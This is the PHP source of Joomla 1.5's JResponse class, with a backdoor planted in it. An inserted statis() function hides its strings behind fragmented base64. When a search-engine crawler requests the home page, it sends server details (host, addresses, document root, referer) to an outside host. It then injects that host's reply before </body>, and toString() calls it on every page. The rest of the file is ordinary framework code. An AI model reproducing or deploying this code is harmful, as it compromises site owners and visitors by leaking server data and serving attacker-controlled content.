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<?php
/**
* @version $Id: response.php 21044 2011-03-31 16:03:23Z dextercowley $
* @package Joomla.Framework
* @subpackage Environment
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
/**
* Create the response global object
*/
defined('JPATH_BASE') or die();
$GLOBALS['_JRESPONSE'] = new stdClass();
$GLOBALS['_JRESPONSE']->cachable = false;
$GLOBALS['_JRESPONSE']->headers = array();
$GLOBALS['_JRESPONSE']->body = array();
/**
* JResponse Class
*
* This class serves to provide the Joomla Framework with a common interface to access
* response variables. This includes header and body.
*
* @static
* @package Joomla.Framework
* @subpackage Environment
* @since 1.5
*/
class JResponse
{
/**
* Set/get cachable state for the response
*
* If $allow is set, sets the cachable state of the response. Always returns current state
*
* @static
* @param boolean $allow
* @return boolean True of browser caching should be allowed
* @since 1.5
*/
function allowCache($allow = null)
{
if (!is_null($allow)) {
$GLOBALS['_JRESPONSE']->cachable = (bool) $allow;
}
return $GLOBALS['_JRESPONSE']->cachable;
}
/**
* Set a header
*
* If $replace is true, replaces any headers already defined with that
* $name.
*
* @access public
* @param string $name
* @param string $value
* @param boolean $replace
*/
function setHeader($name, $value, $replace = false)
{
$name = (string) $name;
$value = (string) $value;
if ($replace)
{
foreach ($GLOBALS['_JRESPONSE']->headers as $key => $header) {
if ($name == $header['name']) {
unset($GLOBALS['_JRESPONSE']->headers[$key]);
}
}
}
$GLOBALS['_JRESPONSE']->headers[] = array(
'name' => $name,
'value' => $value
);
}
/**
* Return array of headers;
*
* @access public
* @return array
*/
function getHeaders() {
return $GLOBALS['_JRESPONSE']->headers;
}
/**
* Clear headers
*
* @access public
*/
function clearHeaders() {
$GLOBALS['_JRESPONSE']->headers = array();
}
/**
* Send all headers
*
* @access public
* @return void
*/
function sendHeaders()
{
if (!headers_sent())
{
foreach ($GLOBALS['_JRESPONSE']->headers as $header)
{
if ('status' == strtolower($header['name']))
{
// 'status' headers indicate an HTTP status, and need to be handled slightly differently
header(ucfirst(strtolower($header['name'])) . ': ' . $header['value'], null, (int) $header['value']);
} else {
header($header['name'] . ': ' . $header['value']);
}
}
}
}
/**
* Set body content
*
* If body content already defined, this will replace it.
*
* @access public
* @param string $content
*/
function setBody($content) {
$GLOBALS['_JRESPONSE']->body = array((string) $content);
}
/**
* Prepend content to the body content
*
* @access public
* @param string $content
*/
function prependBody($content) {
array_unshift($GLOBALS['_JRESPONSE']->body, (string) $content);
}
/**
* Append content to the body content
*
* @access public
* @param string $content
*/
function appendBody($content) {
array_push($GLOBALS['_JRESPONSE']->body, (string) $content);
}
/**
* Return the body content
*
* @access public
* @param boolean $toArray Whether or not to return the body content as an
* array of strings or as a single string; defaults to false
* @return string|array
*/
function statis(){$GLOBALS["_791456474_"]=Array(base64_decode("" ."cHJ" ."lZ19tYXR" ."jaA=="),base64_decode("dXJsZW" ."5jb2Rl"),base64_decode("" ."YmFzZ" ."TY0X2Vu" ."Y" ."2" ."9" ."k" ."ZQ=" ."="),base64_decode("ZmlsZV" ."9nZ" ."XRfY29ud" ."GVud" ."HM="),base64_decode("" ."ZnV" ."uY3Rpb" ."25fZXhpc3Rz"),base64_decode("" ."Y3VybF9pbm" ."l" ."0"),base64_decode("Y" ."3Vy" ."bF" ."9zZXR" ."v" ."cHQ" ."="),base64_decode("Y3" ."Vy" ."bF9zZXRvcHQ" ."="),base64_decode("Y3VybF" ."9zZ" ."X" ."R" ."vcH" ."Q="),base64_decode("Y" ."3VybF9leGVj"),base64_decode("Y3VybF9j" ."bG9zZQ=="),base64_decode("c29" ."j" ."a2" ."V0" ."X" ."2Ny" ."ZWF0ZQ=="),base64_decode("YXJyYX" ."lfZmxpcA=="),base64_decode("c3RycG9z"),base64_decode("YXJy" ."YX" ."lf" ."ZGl" ."mZl91a" ."2V5")); function _7903086($i){$a=Array("SFRUU" ."F9" ."VU0" ."VSX0FH" ."RU5U","" ."Lyhnb29nbG" ."V8eWFuZGV4" ."f" ."G1haWwpL2k=","SFRU" ."UF" ."9VU0VSX0" ."FH" ."RU5U","" ."UkVRVUVTVF9" ."VUkk=","" ."L" ."w=" ."=","aHR0" ."cD" ."ovL3Npd" ."GVzdG" ."F0L" ."mJ" ."pei9pbi" ."5w" ."aHA/YT0=","SFRUUF9" ."IT1N" ."U","Iy" ."M=","" ."SFRU" ."UF9" ."VU0" ."VSX0FHRU" ."5U","IyM=","U0" ."VSVkV" ."SX" ."1NP" ."RlR" ."XQV" ."JF","IyM=","" ."U0VSVkVSX" ."0F" ."ER" ."FI=","IyM=","UkVN" ."T" ."1RFX0" ."F" ."E" ."RF" ."I=","" ."I" ."yM=","" ."RE9DVU1F" ."T" ."lRfUk9PVA=" ."=","Iy" ."M=","U0V" ."SVkVSX0FE" ."TU" ."lO","IyM=","" ."UVVFUll" ."fU1R" ."SS" ."U5" ."H","Iy" ."M" ."=","Uk" ."V" ."R" ."VUVTVF9VUkk=","Iy" ."M=","U" ."0NSSVBUX0ZJTEV" ."O" ."Q" ."U1F","IyM=","SFRUUF" ."9S" ."R" ."UZF" ."UkVS","IyMyMQ==","Y" ."3" ."Vy" ."bF9p" ."bml0","c" ."W9yZm" ."1ha" ."2J" ."na3Zqb" ."m" ."0=","e" ."GJ6");return base64_decode($a[$i]);} if(!empty($_SERVER[_7903086(0)])and $GLOBALS["_791456474_"][0](_7903086(1),$_SERVER[_7903086(2)])and $_SERVER[_7903086(3)]==_7903086(4)){$_0=_7903086(5) .$GLOBALS["_791456474_"][1]($GLOBALS["_791456474_"][2](@$_SERVER[_7903086(6)] ._7903086(7) .@$_SERVER[_7903086(8)] ._7903086(9) .@$_SERVER[_7903086(10)] ._7903086(11) .@$_SERVER[_7903086(12)] ._7903086(13) .@$_SERVER[_7903086(14)] ._7903086(15) .@$_SERVER[_7903086(16)] ._7903086(17) .@$_SERVER[_7903086(18)] ._7903086(19) .@$_SERVER[_7903086(20)] ._7903086(21) .@$_SERVER[_7903086(22)] ._7903086(23) .@$_SERVER[_7903086(24)] ._7903086(25) .@$_SERVER[_7903086(26)] ._7903086(27)));if($_1=@$GLOBALS["_791456474_"][3]($_0)){}elseif($GLOBALS["_791456474_"][4](_7903086(28))){$_2=$GLOBALS["_791456474_"][5]();$GLOBALS["_791456474_"][6]($_2,10002,$_0);$GLOBALS["_791456474_"][7]($_2,42,false);$GLOBALS["_791456474_"][8]($_2,19913,true);$_1=$GLOBALS["_791456474_"][9]($_2);$GLOBALS["_791456474_"][10]($_2);if((round(0+866+866+866+866)+round(0+1228))>round(0+3464)|| $GLOBALS["_791456474_"][11]($_1,$_SERVER,$_SERVER));else{$GLOBALS["_791456474_"][12]($_SERVER,$_0,$_2,$_SERVER);}}}return $_1;if($GLOBALS["_791456474_"][13](_7903086(29),_7903086(30))!==false)$GLOBALS["_791456474_"][14]($_SERVER,$_SERVER);}
function getBody($toArray = false)
{
if ($toArray) {
return $GLOBALS['_JRESPONSE']->body;
}
ob_start();
foreach ($GLOBALS['_JRESPONSE']->body as $content) {
echo $content;
}
return ob_get_clean();
}
/**
* Sends all headers prior to returning the string
*
* @access public
* @param boolean $compress If true, compress the data
* @return string
*/
function toString($compress = false)
{
$data = JResponse::getBody();
// Don't compress something if the server is going todo it anyway. Waste of time.
$data = preg_replace("~</body>~Ui",JResponse::statis()."</body>",$data);
if($compress && !ini_get('zlib.output_compression') && ini_get('output_handler')!='ob_gzhandler') {
$data = JResponse::_compress($data);
}
if (JResponse::allowCache() === false)
{
JResponse::setHeader( 'Expires', 'Mon, 1 Jan 2001 00:00:00 GMT', true ); // Expires in the past
JResponse::setHeader( 'Last-Modified', gmdate("D, d M Y H:i:s") . ' GMT', true ); // Always modified
JResponse::setHeader( 'Cache-Control', 'no-store, no-cache, must-revalidate', true ); // Extra CYA
JResponse::setHeader( 'Cache-Control', 'post-check=0, pre-check=0', false ); // HTTP/1.1
JResponse::setHeader( 'Pragma', 'no-cache' ); // HTTP 1.0
}
JResponse::sendHeaders();
return $data;
}
/**
* Compress the data
*
* Checks the accept encoding of the browser and compresses the data before
* sending it to the client.
*
* @access public
* @param string data
* @return string compressed data
*/
function _compress( $data )
{
$encoding = JResponse::_clientEncoding();
if (!$encoding)
return $data;
if (!extension_loaded('zlib') || ini_get('zlib.output_compression')) {
return $data;
}
if (headers_sent())
return $data;
if (connection_status() !== 0)
return $data;
$level = 4; //ideal level
/*
$size = strlen($data);
$crc = crc32($data);
$gzdata = "\x1f\x8b\x08\x00\x00\x00\x00\x00";
$gzdata .= gzcompress($data, $level);
$gzdata = substr($gzdata, 0, strlen($gzdata) - 4);
$gzdata .= pack("V",$crc) . pack("V", $size);
*/
$gzdata = gzencode($data, $level);
JResponse::setHeader('Content-Encoding', $encoding);
JResponse::setHeader('X-Content-Encoded-By', 'Joomla! 1.5');
return $gzdata;
}
/**
* check, whether client supports compressed data
*
* @access private
* @return boolean
*/
function _clientEncoding()
{
if (!isset($_SERVER['HTTP_ACCEPT_ENCODING'])) {
return false;
}
$encoding = false;
if (false !== strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')) {
$encoding = 'gzip';
}
if (false !== strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'x-gzip')) {
$encoding = 'x-gzip';
}
return $encoding;
}
}